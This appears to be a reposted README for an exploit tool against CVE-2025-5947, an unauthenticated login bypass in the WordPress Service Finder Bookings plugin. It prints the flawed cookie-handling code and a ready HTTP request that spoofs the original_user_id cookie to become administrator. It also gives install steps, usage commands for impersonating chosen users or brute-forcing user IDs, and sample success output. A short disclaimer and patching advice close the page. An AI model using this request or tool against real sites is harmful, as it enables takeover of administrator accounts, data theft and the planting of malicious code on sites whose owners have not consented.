CVE-2025-5947

Exploit do CVE-2025-5947 WordPress Service Finder Bookings ≤ 6.0

CVE-2025-5947 Exploit - Service Finder Bookings

Ferramenta de exploit para a vulnerabilidade de bypass de autenticação no plugin WordPress Service Finder Bookings ≤ 6.0

📋 Índice

• Sobre a Vulnerabilidade
• Detalhes Técnicos
• Instalação
• Uso
• Exemplos
• Resultados
• Segurança
• Recursos

🔴 Sobre a Vulnerabilidade

CVE-2025-5947

Service Finder Bookings é um plugin WordPress que possui uma vulnerabilidade crítica de bypass de autenticação nas versões 6.0 e anteriores.

🎯 Impacto

Atacantes não autenticados podem:

• ✅ Entrar como qualquer usuário
• ✅ Obter acesso a contas de administrador
• ✅ Obter controle total do sistema
• ✅ Vazar dados
• ✅ Carregar código malicioso

🔍 Detalhes Técnicos

Causa da Vulnerabilidade

A função service_finder_switch_back() possui validação insuficiente de cookie:

// Güvenli olmayan kod
if(isset($_COOKIE['original_user_id'])) {
    $user_id = $_COOKIE['original_user_id'];
    wp_set_current_user($user_id);
    // Doğrulama yok!
}

Vetor de Ataque

GET /wp-admin/admin-ajax.php?action=service_finder_switch_back HTTP/1.1
Host: target.com
Cookie: original_user_id=1

Características do Ataque:

• 🌐 Acesso Remoto (AV:N)
• 🔓 Sem Autenticação (PR:N)
• 👤 Sem Interação do Usuário (UI:N)
• 📊 Impacto Total (C:H, I:H, A:H)

📦 Instalação

Requisitos

• Python 3.6+
• biblioteca requests

Passo 1: Clonar o Repositório

git clone https://github.com/xxconi/CVE-2025-5947.git
cd CVE-2025-5947

Passo 2: Instalar as Dependências

pip install -r requirements.txt

Passo 3: Executar

python exploit.py -u http://target.com

🚀 Uso

Comandos Básicos

# Yardım göster
python exploit.py -h

# Admin (ID=1) olarak giriş dene
python exploit.py -u http://target.com

# Belirli kullanıcı ID'si ile
python exploit.py -u http://target.com -i 5

# Brute force (ID 1-10)
python exploit.py -u http://target.com -b 1-10

# SSL doğrulaması olmadan
python exploit.py -u http://target.com --no-ssl-verify

# Özel timeout ile
python exploit.py -u http://target.com -t 30

Parâmetros

💡 Exemplos

Exemplo 1: Exploit Simples

python exploit.py -u http://wordpress.local

Saída:

============================================================
CVE-2025-5947 Service Finder Bookings Exploit
Authentication Bypass via Cookie Spoofing
============================================================
✅ Service Finder Bookings eklentisi bulundu

🔍 Kullanıcı ID 1 ile giriş denemesi yapılıyor...
📊 HTTP Status: 302
📋 Response Headers:
   Location: http://wordpress.local/wp-admin/
   Set-Cookie: wordpress_logged_in_abc123=...

✅ BAŞARILI! Admin olarak giriş yapıldı!
📍 Yönlendirme: http://wordpress.local/wp-admin/

Exemplo 2: Brute Force

python exploit.py -u http://target.com -b 1-20

Saída:

🔄 Brute Force Başlıyor (20 kullanıcı)...
✅ Kullanıcı ID 1: BAŞARILI
❌ Kullanıcı ID 2: Başarısız
✅ Kullanıcı ID 3: BAŞARILI
...
✅ Başarılı Kullanıcılar: [1, 3, 5]

Exemplo 3: HTTPS sem Verificação SSL

python exploit.py -u https://target.com --no-ssl-verify

📊 Resultados

Um exploit bem-sucedido inclui os seguintes indicadores:

✅ Código de resposta HTTP 301 ou 302
✅ Presença de /wp-admin/ no cabeçalho Location
✅ Presença de wordpress_logged_in_ no cabeçalho Set-Cookie

🛡️ Segurança

⚠️ Aviso Legal

Esta ferramenta deve ser usada apenas para:

• ✅ Testes de segurança autorizados
• ✅ Em seus próprios sistemas
• ✅ Com permissão por escrito

O autor não se responsabiliza pelo uso indevido.

🔐 Formas de Proteção

1. Atualização Imediata

   root@kitploit:~

   # WordPress admin panelinden güncelle
   # veya WP-CLI ile
   wp plugin update sf-booking
   

2. Desativar o Plugin

   root@kitploit:~

   wp plugin deactivate sf-booking
   

3. Remover o Plugin

   root@kitploit:~

   wp plugin delete sf-booking
   

4. Web Application Firewall (WAF)

   root@kitploit:~

   Block: /wp-admin/admin-ajax.php?action=service_finder_switch_back
   

5. Verificação de Segurança

   • Verifique as contas de administrador
   • Analise os logs de acesso
   • Investigue acessos não autorizados

📚 Recursos

• Banco de Dados Patchstack
• GitHub Advisory
• Detalhes NVD
• Exploit Original
• Calculadora CVSS

🤝 Contribuição

Para relatar erros ou sugerir melhorias:

1. Faça um fork
2. Crie uma branch de feature (git checkout -b feature/improvement)
3. Faça o commit (git commit -am 'Add improvement')
4. Faça o push (git push origin feature/improvement)
5. Abra um Pull Request

📄 Licença

Licença MIT - Consulte o arquivo LICENSE para obter detalhes

👤 Autor

Pesquisador de Segurança

• GitHub: @yourusername

🙏 Agradecimentos

• Patchstack Security Team
• WordPress Security Community
• CVE Coordinators